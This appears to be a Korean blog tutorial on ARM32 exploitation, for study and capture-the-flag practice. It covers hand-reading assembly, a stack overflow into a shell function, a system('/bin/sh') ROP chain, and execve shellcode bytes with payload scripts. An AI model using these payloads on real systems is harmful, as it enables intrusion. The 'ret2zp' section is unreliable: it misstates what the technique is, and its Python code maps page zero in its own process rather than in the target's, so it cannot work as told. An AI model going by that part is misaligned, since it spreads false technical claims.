블로그로 돌아가기
Research

ARM 익스플로잇 시리즈: 핸드레이부터 ret2zp까지

ARM 바이너리 익스플로잇 단계별 학습: ARM 어셈블리 손으로 읽기(핸드레이), 스택 버퍼 오버플로우, ROP 가젯 체이닝, ret2zp(영페이지 리턴) 기법

··13분 읽기
ARMARM32pwnROPret2zpbinary-exploitationGOTPLT

개요

이 글은 ARM 바이너리 익스플로잇을 학습하며 정리한 내용이다. 어셈블리를 손으로 읽는 핸드레이(Hand-Ray)에서 시작하여 고전적인 스택 버퍼 오버플로우를 거쳐 ret2zp 기법까지 다룬다. 모든 실험은 Debian Wheezy(armhf) 이미지를 사용한 QEMU ARM32 환경에서 진행했다.

학습 순서는 자연스러운 난이도 곡선을 따른다:

  1. ARM 아키텍처 기초 및 어셈블리 핸드레이
  2. 스택 기반 익스플로잇 (버퍼 오버플로우, 저장 레지스터 제어)
  3. ARM32에서의 고급 Return-Oriented Programming
  4. ret2zp: 영페이지 보호 우회

환경 구성

ARM 바이너리를 분석하려면 ARM 환경이 필요하다. QEMU와 Debian Wheezy armhf 이미지를 사용했다:

sudo apt-get install qemu
 
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
 
qemu-system-arm -M vexpress-a9 \
  -kernel vmlinuz-3.2.0-4-vexpress \
  -initrd initrd.img-3.2.0-4-vexpress \
  -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
  -append "root=/dev/mmcblk0p2 console=ttyAMA0" \
  -redir tcp:2222::22 -redir tcp:8080::80 \
  -nographic

포트 2222로 SSH 접속하면 ARM 게스트 내부 쉘을 얻을 수 있다.


ARM 아키텍처 기초

레지스터

ARM32에는 16개의 범용 레지스터(r0~r15)가 있으며, 일부는 특별한 역할을 가진다:

레지스터별칭역할
r0~r3함수 인자 (최대 4개); r0은 반환값
r11FP프레임 포인터 (x86의 EBP와 유사)
r13SP스택 포인터
r14LR링크 레지스터 — BL/BLX 호출 후 반환 주소 저장
r15PC프로그램 카운터 (x86의 EIP/RIP에 해당)

함수에 4개를 초과하는 인자가 필요한 경우, 나머지는 스택으로 전달된다.

호출 규약 (AAPCS)

인자:   r0, r1, r2, r3  (이후는 스택)
반환값: r0
LR 저장: 함수 프롤로그에서 스택에 push

일반적인 ARM 함수 프롤로그/에필로그 구조:

; 프롤로그
push {r7, lr}       ; 프레임 포인터와 반환 주소 저장
sub  sp, #8         ; 로컬 스택 공간 확보
add  r7, sp, #0     ; r7 = sp (프레임 포인터)
 
; 에필로그
mov  sp, r7         ; 스택 포인터 복원
pop  {r7, pc}       ; 프레임 포인터 복원; pc = 저장된 lr → 반환

x86과의 결정적인 차이: 명시적인 ret 명령어가 없다. 반환은 저장된 LR 값을 PC에 로드하는 방식으로 이루어지며, 보통 pop {r7, pc} 또는 bx lr 형태다.

ARM vs Thumb 모드

ARM은 두 가지 명령어 집합 상태를 지원한다:

  • ARM 모드: 32비트 고정 폭 명령어
  • Thumb 모드: 16비트 압축 명령어(Thumb) 또는 32비트(Thumb-2)

모드 전환은 BX/BLX 명령어로 수행한다. 대상 주소의 LSB(최하위 비트)가 1이면 Thumb 모드로 전환된다:

add r3, pc, #1    ; r3 = pc + 1 (Thumb 타겟)
bx  r3            ; Branch and Exchange → Thumb 모드로 전환

명령어 파이프라인

ARM은 3단계 파이프라인(Fetch → Decode → Execute)을 사용한다. 세 단계가 병렬로 실행되기 때문에 Execute 단계에서 PC는 이미 8바이트 앞을 가리킨다(ARM 모드 기준, Thumb 모드는 4바이트). 이 점은 상대 주소를 계산하는 셸코드 작성 시 반드시 고려해야 한다.

메모리 접근 명령어

STR r0, [r7, #4]    ; *(r7 + 4) = r0   (저장)
LDR r3, [r7, #4]    ; r3 = *(r7 + 4)   (로드)

STR의 피연산자 순서는 MOV와 반대다 — 소스 레지스터가 먼저, 목적지 주소가 나중에 온다. 처음 ARM을 접하는 사람들이 많이 헷갈리는 부분이다.


Phase 1: ARM 어셈블리 핸드레이 (Hand-Ray)

익스플로잇을 건드리기 전에 ARM 디스어셈블리를 읽고 원래 C 소스를 재구성할 수 있어야 한다. 이것이 이른바 "핸드레이(Hand-Ray)" — 손으로 하는 디컴파일이다.

ARM v5 핸드레이 문제 바이너리 디스어셈블리 (별 패턴 출력 프로그램)

핵심 원칙을 먼저 정리하자:

  • 레지스터를 저장하고 스택에 넣은 후 점프, 다시 로드하는 패턴 → for문일 가능성이 높다
  • pc + #상수 형태 → 문자열 주소다
  • 값을 레지스터에 넣고 스택으로 저장 → 변수다. 반복문이면 다시 로드하고 비교한다

반복문 읽기

ARM 어셈블리에서 루프를 인식하는 핵심 패턴:

  • 변수 초기화 — 상수를 스택에 저장
  • 조건 확인으로 점프B <cmp_label>
  • 비교LDR r3, [sp, #offset] + CMP r3, #limit
  • 조건부 분기BLE <body> / BGT <exit>
  • 증감LDR r3 + ADD r3, #1 + STR r3

예제: for (i = 0; i <= 4; i++) printf("%d ", i);

; i = 0, [sp, #4]에 저장
mov  r3, #0
str  r3, [sp, #4]
b    main+44         ; 조건 확인으로 점프
 
; 루프 본체 (main+28)
ldr  r1, [sp, #4]
movw r0, #<format>   ; "%d "
bl   printf
 
; 증감 (main+40)
ldr  r3, [sp, #4]
add  r3, r3, #1
str  r3, [sp, #4]
 
; 조건 확인 (main+44)
ldr  r3, [sp, #4]
cmp  r3, #4
ble  main+28         ; i <= 4 이면 루프 본체로

어떤 반복문(while, for)이든 어셈블리 패턴은 비슷하다.

if/else 읽기

중요한 ARM 특성: if/else 구조에서 어셈블러는 보통 else 분기를 먼저 생성한다. CMP/분기 쌍의 조건은 기대하는 것과 반전되어 있다.

// 원본 C 소스
if (v1 > 3)
    printf("i > 4\n");
else
    printf("else branch\n");
; v1 = 5, [sp, #8]에 저장
ldr  r3, [sp, #8]
cmp  r3, #3
bgt  <if_body>       ; v1 > 3이면 if 본체로 점프
                     ; else는 fall-through
movw r0, #<"else branch">
bl   printf
b    <end>
 
<if_body>:
movw r0, #<"i > 4">
bl   printf
 
<end>:

사용자 정의 함수 읽기

BL / BLX로 사용자 함수를 호출할 때의 패턴:

  • 호출 전에 인자를 r0~r3에 배치
  • callee는 r0~r3를 자신의 스택 프레임에 로컬 복사본으로 저장
  • 반환값은 r0에 담겨 돌아온다
; add(v1, v2) 호출:
ldr  r4, [sp, #4]    ; v1
ldr  r5, [sp, #8]    ; v2
mov  r1, r5
mov  r0, r4
bl   add
 
; add() 내부:
str  r0, [sp, #4]    ; arg1을 로컬로 저장
str  r1, [sp, #0]    ; arg2를 로컬로 저장
ldr  r2, [sp, #4]
ldr  r3, [sp, #0]
add  r3, r2, r3      ; r3 = arg1 + arg2
mov  r0, r3          ; 반환값을 r0에
pop  {r7, pc}

재구성된 C 코드:

int add(int arg1, int arg2) {
    int loc1 = arg1;
    int loc2 = arg2;
    return loc1 + loc2;
}

IT (If-Then) 명령어

ARM Thumb-2에는 분기 없이 최대 4개의 명령어를 조건부로 실행하는 IT 명령어가 있다:

cmp  r0, r1
itge            ; r0 >= r1 이면
movge r0, r1    ; r0 = r1

이는 다음과 동일하다:

if (r0 >= r1) r0 = r1;

Phase 2: root-me.org ARM Stack Buffer Overflow 분석

이 문제는 ARM 핸드레이 연습과 실제 취약점 분석을 결합한 좋은 예제다.

; setvbuf(stdout, 0, 2, 0);
; 0x21008 = stdout, r0 = stdout, r1 = 0, r2 = 2, r3 = 0
setvbuf(stdout, 0, 2, 0);
 
; v1 = 0x79 // sp+7
; r11 = "Give me data to dump:\n"
printf("Give me data to dump:\n");
 
; r10 = "%[^\n]s"
; num = sp+8
if (scanf("%[^\n]s", &num) != 0)
    ...

핵심 취약점: %[^\n]s 포맷 문자열은 개행 문자가 나올 때까지 너비 제한 없이 읽는다. 이것이 무제한 scanf 취약점이다.

  • 로컬 변수 레이아웃: sp+7 = v1(char), sp+8 = buffer(scanf)
  • num(sp+8)에 충분히 긴 입력을 넣으면 저장된 레지스터와 반환 주소를 덮어쓸 수 있다

Phase 3: 스택 버퍼 오버플로우 — r11과 PC 제어

취약한 패턴

전형적인 취약 함수 예제 (Incognito 2013 Basic ARM Exploit):

void vuln(char *input) {
    char buffer[16];
    strcpy(buffer, input);   // 범위 검사 없음
}
 
void gotashell() {
    system("/bin/sh");
}
 
int main(int argc, char *argv[]) {
    if (argc < 2) { puts("argv error"); exit(0); }
    vuln(argv[1]);
    return 0;
}

vuln() 내부 스택 레이아웃

[  buffer (16바이트)  ] [  저장된 r11 (4바이트)  ] [  저장된 LR (4바이트)  ]
^--- sp                                                                      ^--- sp+24

strcpy 오버플로우는 buffer[16]을 넘어, 오프셋 16에 있는 저장된 r11과, 오프셋 20에 있는 저장된 LR(반환 주소)을 덮어쓴다.

익스플로잇

ARM32에서 함수 에필로그는 다음과 같다:

pop {r11, pc}   ; saved_r11 → r11, saved_lr → pc

다음 페이로드로 오버플로우를 일으킨다:

payload = b'A' * 16 + p32(dummy_r11) + p32(gotashell_addr)

pop {r11, pc} 실행 시:

  • r11 = 우리가 넣은 dummy 값
  • pc = gotashell 주소 → 실행 흐름 탈취

gotashell 주소 확인:

$ arm-linux-gnueabihf-objdump -d vuln | grep gotashell
00008468 <gotashell>:

익스플로잇:

import struct
import subprocess
 
gotashell = 0x8468
payload = b'A' * 16 + struct.pack('<I', 0xdeadbeef) + struct.pack('<I', gotashell)
subprocess.run(['./vuln', payload])

strcpy 이후 저장된 r11 슬롯과 PC가 우리가 원하는 값으로 바뀌어 gotashell로 점프한다.


Phase 4: ret2plt / GOT 덮어쓰기

반환 주소를 제어하게 되면 다음 단계는 제어된 인자로 라이브러리 함수를 호출하는 것이다. ASLR이 없는 ARM32에서는 system@plt로 직접 반환할 수 있다.

x86과의 핵심 차이점: 인자는 스택이 아닌 레지스터로 전달된다. 단순히 문자열 주소를 push하고 system을 호출할 수 없다. /bin/sh 주소를 r0에 로드하는 가젯이 먼저 필요하다.

가젯 탐색

ROPgadget --binary ./target --rop | grep "pop {r0"

유용한 가젯 패턴:

0x000104d4 : pop {r0, r4, pc}

이 가젯이 하는 일:

  1. 스택의 다음 값을 r0에 팝 (system의 인자)
  2. 더미 값을 r4에 팝
  3. 다음 주소를 PC에 팝 (system으로 점프)

ROP 체인 구성

import struct
 
def p32(x):
    return struct.pack('<I', x)
 
# 주소 (ASLR 없음)
pop_r0_r4_pc = 0x000104d4
system_plt   = 0x00010510
bin_sh_addr  = 0x0001a9f0   # libc 내 "/bin/sh" 문자열 주소
 
buf_size = 64   # 저장된 LR까지의 오프셋
 
payload  = b'A' * buf_size
payload += p32(pop_r0_r4_pc)   # 저장된 LR을 가젯으로 덮어쓰기
payload += p32(bin_sh_addr)    # r0 = "/bin/sh"
payload += p32(0xdeadbeef)     # r4 = junk
payload += p32(system_plt)     # pc = system@plt

실행 흐름:

  1. pop {r0, r4, pc} 실행 → r0 = /bin/sh, pc = system@plt
  2. system("/bin/sh") → 쉘 획득

GOT 덮어쓰기 대안

임의 쓰기 프리미티브(포맷 스트링, 다른 오버플로우 등)가 있다면, 자주 호출되는 함수(예: printf)의 GOT 엔트리를 system 주소로 덮어쓰는 방법도 효과적이다:

GOT[printf] = system
// 이후 printf("command") 호출 시 → system("command")

Phase 5: ret2zp — 영페이지 리턴

ret2zp란?

ret2zp(return-to-zero-page)는 ARM 특유의 익스플로잇 기법이다. ARM에서 영페이지(주소 0x0 근처)는 오래된 커널이나 메모리 보호가 제대로 적용되지 않은 임베디드 시스템에서 쓰기 및 실행이 가능한 경우가 있다.

핵심 아이디어: 공격자가 0x00000000 근처 주소를 제어하고 그곳에 셸코드를 mmap/쓸 수 있다면, 영페이지로 반환함으로써 로드된 라이브러리 영역 내에서 반환을 기대하는 많은 완화 체크를 우회할 수 있다.

ARM 셸코드 작성

ret2zp를 이해하기 전에 ARM 셸코드 작성을 먼저 살펴보자. ARM32의 시스콜 인터페이스:

  • 시스콜 번호는 r7
  • 인자는 r0, r1, r2에
  • svc #0 (또는 일부 환경에서 svc #1)으로 호출

execve는 시스콜 번호 11(__NR_execve)이다.

.section .text
.global _start
 
_start:
.code 32                  ; ARM 모드로 시작
    add r3, pc, #1        ; thumb 타겟 계산 (pc+1)
    bx  r3                ; Thumb 모드로 전환
 
.code 16                  ; 여기서부터 Thumb 모드
    mov  r0, pc           ; r0 = pc (파이프라인 때문에 앞을 가리킴)
    add  r0, #10          ; r0 = "/bin/sh" 문자열 주소
    str  r0, [sp, #4]     ; 포인터를 스택에 저장
    add  r1, sp, #4       ; r1 = &argv = {&"/bin/sh"}
    sub  r2, r2, r2       ; r2 = 0 (envp = NULL)
    mov  r7, #11          ; r7 = __NR_execve
    svc  1                ; 시스콜 실행
 
.ascii "/bin/sh"

핵심 포인트:

  1. ARM에서 Thumb으로 모드 전환 — add r3, pc, #1 인코딩에서 null 바이트를 회피
  2. PC 파이프라인 오프셋(ARM +8, Thumb +4)을 문자열 주소 계산 시 고려해야 함
  3. 셸코드의 null 바이트 제거를 위해 mov r2, #0 대신 sub r2, r2, r2 사용

취약 프로그램 설정

#include <stdio.h>
#include <string.h>
 
void vuln(char *s) {
    char buf[64];
    strcpy(buf, s);
}
 
int main(int argc, char *argv[]) {
    vuln(argv[1]);
    return 0;
}

스택 카나리, NX(또는 실행 가능 스택 사용), ASLR 없이 컴파일한다.

익스플로잇 전략

x86 ROP에서는 인자가 스택에 올라가지만, ARM RTL(Return to Library / ret2zp)은 다음이 필요하다:

  1. r0 = /bin/sh 포인터 (system의 첫 번째 인자)
  2. PC = system 또는 execve

옵션 A — 가젯 체인:

[buf overflow] → [pop {r0, pc} 가젯] → [/bin/sh 주소] → [system 주소]

옵션 B — 비ASLR ARM에서 ret2zp:

주소 0x00000010(또는 다른 낮은 주소)에 셸코드를 쓰고 PC를 그곳으로 리다이렉트한다. XN(eXecute Never) 적용이 없는 ARM에서:

import struct
import ctypes
 
# 영페이지를 쓰기+실행 가능하게 mmap
libc = ctypes.CDLL("libc.so.6")
libc.mmap(0, 0x1000, 7, 0x32, -1, 0)  # MAP_FIXED|MAP_ANONYMOUS, PROT_RWX
 
# 0x10에 ARM 셸코드 쓰기
shellcode = (
    b"\x01\x30\x8f\xe2"  # add r3, pc, #1 (ARM 모드)
    b"\x13\xff\x2f\xe1"  # bx r3 (Thumb으로 전환)
    # Thumb 셸코드
    b"\x78\x46"          # mov r0, pc
    b"\x0a\x30"          # add r0, #10
    b"\x01\x90"          # str r0, [sp, #4]
    b"\x01\xa9"          # add r1, sp, #4
    b"\x52\x40"          # eor r2, r2
    b"\x0b\x27"          # mov r7, #11
    b"\x01\xdf"          # svc 1
    b"/bin/sh\x00"
)
 
ctypes.memmove(0x10, shellcode, len(shellcode))
 
# 반환 주소를 0x10으로 오버플로우
buf = b'A' * 68 + struct.pack('<I', 0x00000010)

ARM에서 영페이지가 가능했던 이유

ARM에서는 인터럽트 벡터 테이블이 역사적으로 주소 0x00000000에 위치했다. 일부 임베디드 시스템과 오래된 Linux 커널에서:

  • 사용자 공간이 영페이지를 mmap할 수 있었다 (MAP_FIXED로 0에 mmap)
  • 낮은 주소에 XN(eXecute Never) 비트를 강제하지 않았다

이런 이유로 커널 강화(sysctl vm.mmap_min_addr)가 표준화되기 전까지 ret2zp는 실용적인 기법이었다.

현대적 완화 기법

완화 기법효과
vm.mmap_min_addr = 6553664KB 아래 mmap 방지
XN 비트 적용 (ARMv6+)데이터 페이지에 실행 불가 표시
ASLR라이브러리/스택 주소 무작위화
스택 카나리반환 전 스택 스매싱 감지
PIE바이너리 베이스 주소 무작위화

완전히 강화된 현대 Linux ARM 시스템에서는 ret2zp 단독으로는 작동하지 않는다. ASLR 우회(정보 누출)가 먼저 필요하다.


x86 익스플로잇과의 핵심 차이

측면x86/x64ARM32
반환 메커니즘ret으로 스택 → EIPpop {pc} 또는 bx lr
함수 인자스택(x86) / rdi,rsi,...(x64)r0, r1, r2, r3
프레임 포인터EBPr11
링크 레지스터반환 주소가 스택에만 존재LR (r14) 전용 레지스터
명령어 폭가변 (1~15바이트)고정 4바이트 ARM / 2바이트 Thumb
가젯 탐색ret 종료pop {pc} 종료 또는 bx lr
null 없는 셸코드일반적인 기법Thumb 모드로 더 밀집된 인코딩
영페이지 공격드물다 (NX 항상 적용)ARM 임베디드에서 역사적으로 가능했음

ARM ROP 가젯 탐색 팁

ARM32 ROP 체인 구성 시:

  1. pop {rN, ..., pc} 가젯을 찾아라 — 레지스터 제어와 PC 리다이렉트를 한 가젯에서 수행
  2. bx lr 가젯은 LR이 미리 로드되어 있어야 한다
  3. Thumb-2의 IT 블록은 조건부 가젯을 만든다 — 유용하지만 복잡하다
  4. __libc_csu_init 같은 함수에도 유용한 pop 체인이 있다
# ARM pop-pc 가젯 탐색
ROPgadget --binary ./libc.so --rop | grep "pop {r0" | head -20
ROPgadget --binary ./libc.so --rop | grep "pop {r1" | head -20
 
# Thumb 가젯 (주소 비트 0이 1)
ROPgadget --binary ./libc.so --thumb | grep "pop"

요약

이 ARM 익스플로잇 시리즈에서 다룬 내용:

  1. ARM 어셈블리 기초 — 레지스터 역할, 호출 규약, PC에 대한 파이프라인 효과, STR/LDR 의미론
  2. 핸드레이 (Handray) — ARM 디스어셈블리에서 C 소스 재구성: 루프, if/else (else 먼저 순서), 함수 호출
  3. ARM 셸코드 — ARM/Thumb 모드 전환, 시스콜 인터페이스, null 바이트 제거
  4. 스택 BOF — 저장된 r11과 LR을 오버플로우하여 제어 흐름 탈취
  5. ret2plt / GOT 덮어쓰기 — ARM의 레지스터 기반 호출 규약을 만족하는 ROP 가젯 활용
  6. ret2zp — 오래된/임베디드 시스템에서 ARM 영페이지 매핑 가능성 익스플로잇

x86에서 ARM 익스플로잇으로 넘어올 때 가장 중요한 사고 전환: 인자는 스택이 아닌 레지스터에 있다. 스택 기반 인자 전달에 의존하는 모든 익스플로잇 기법은 최종 호출 전에 r0~r3를 채우는 가젯을 사용하는 방식으로 반드시 재구성해야 한다.